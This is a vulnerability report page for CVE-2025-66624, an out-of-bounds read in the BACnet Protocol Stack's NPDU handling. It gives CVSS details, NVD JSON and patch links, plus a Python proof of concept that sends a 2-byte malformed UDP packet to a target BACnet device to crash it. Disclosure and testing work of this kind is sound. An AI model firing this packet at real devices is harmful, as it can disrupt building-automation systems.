Security Vulnerability Report
中文
CVE-2025-66624 CVSS 7.5 HIGH

CVE-2025-66624

Published: 2025-12-05 19:15:53
Last Modified: 2026-02-18 18:21:54

Description

BACnet Protocol Stack library provides a BACnet application layer, network layer and media access (MAC) layer communications services. Prior to 1.5.0.rc2, The npdu_is_expected_reply function in src/bacnet/npdu.c indexes request_pdu[offset+2/3/5] and reply_pdu[offset+1/2/4] without verifying that those APDU bytes exist. bacnet_npdu_decode() can return offset == 2 for a 2-byte NPDU, so tiny PDUs pass the version check and then get read out of bounds. On ASan/MPU/strict builds this is an immediate crash (DoS). On unprotected builds it is undefined behavior and can mis-route replies; RCE is unlikely because only reads occur, but DoS is reliable.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:bacnetstack:bacnet_stack:1.5.0:rc1:*:*:*:*:*:* - VULNERABLE
BACnet Protocol Stack < 1.5.0.rc2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-66624 PoC - BACnet Protocol Stack Out-of-Bounds Read This PoC demonstrates the vulnerability by sending a malformed NPDU packet. """ import socket import struct def create_malformed_npdu(): """ Create a malformed NPDU packet that triggers the out-of-bounds read. The packet is only 2 bytes to cause offset+2, offset+3, offset+5 accesses to read beyond the buffer boundary. """ # Version byte (BACnet protocol version 1) version = 0x01 # Second byte can be anything - will cause offset=2 after decode control = 0x00 # Only 2 bytes - will trigger OOB read when npdu_is_expected_reply # tries to access request_pdu[offset+2], request_pdu[offset+3], etc. return bytes([version, control]) def send_bacnet_npdu(target_ip, target_port=47808): """ Send malformed NPDU to target BACnet device. Default BACnet port is 47808 (0xBAC0). """ malformed_packet = create_malformed_npdu() try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) print(f"[*] Sending malformed NPDU to {target_ip}:{target_port}") print(f"[*] Packet length: {len(malformed_packet)} bytes") print(f"[*] Packet hex: {malformed_packet.hex()}") sock.sendto(malformed_packet, (target_ip, target_port)) print("[+] Packet sent successfully") try: response, addr = sock.recvfrom(1024) print(f"[!] Received response from {addr}: {response.hex()}") except socket.timeout: print("[-] No response received (target may have crashed)") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python3 cve_2025_66624_poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 47808 send_bacnet_npdu(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66624", "sourceIdentifier": "[email protected]", "published": "2025-12-05T19:15:53.120", "lastModified": "2026-02-18T18:21:54.343", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "BACnet Protocol Stack library provides a BACnet application layer, network layer and media access (MAC) layer communications services. Prior to 1.5.0.rc2, The npdu_is_expected_reply function in src/bacnet/npdu.c indexes request_pdu[offset+2/3/5] and reply_pdu[offset+1/2/4] without verifying that those APDU bytes exist. bacnet_npdu_decode() can return offset == 2 for a 2-byte NPDU, so tiny PDUs pass the version check and then get read out of bounds. On ASan/MPU/strict builds this is an immediate crash (DoS). On unprotected builds it is undefined behavior and can mis-route replies; RCE is unlikely because only reads occur, but DoS is reliable."}, {"lang": "es", "value": "La biblioteca de la pila de protocolos BACnet proporciona servicios de comunicación de capa de aplicación BACnet, capa de red y capa de acceso al medio (MAC). Versiones anteriores a 1.5.0.rc2, la función npdu_is_expected_reply en src/bacnet/npdu.c indexa request_pdu[offset+2/3/5] y reply_pdu[offset+1/2/4] sin verificar que esos bytes APDU existan. bacnet_npdu_decode() puede devolver offset == 2 para una NPDU de 2 bytes, por lo que las PDU pequeñas pasan la verificación de versión y luego se leen fuera de los límites. En compilaciones ASan/MPU/estrictas, esto es un fallo inmediato (DoS). En compilaciones desprotegidas, es un comportamiento indefinido y puede enrutar mal las respuestas; RCE es poco probable porque solo ocurren lecturas, pero DoS es fiable."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bacnetstack:bacnet_stack:1.5.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "2B47182E-6B7F-4C53-904A-EB37C9C0A439"}]}]}], "references": [{"url": "https://github.com/bacnet-stack/bacnet-stack/commit/9378f7d1e70169ebde4a5090bae7603703eadf48", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/bacnet-stack/bacnet-stack/security/advisories/GHSA-8wgw-5h6x-qgqg", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit"]}]}}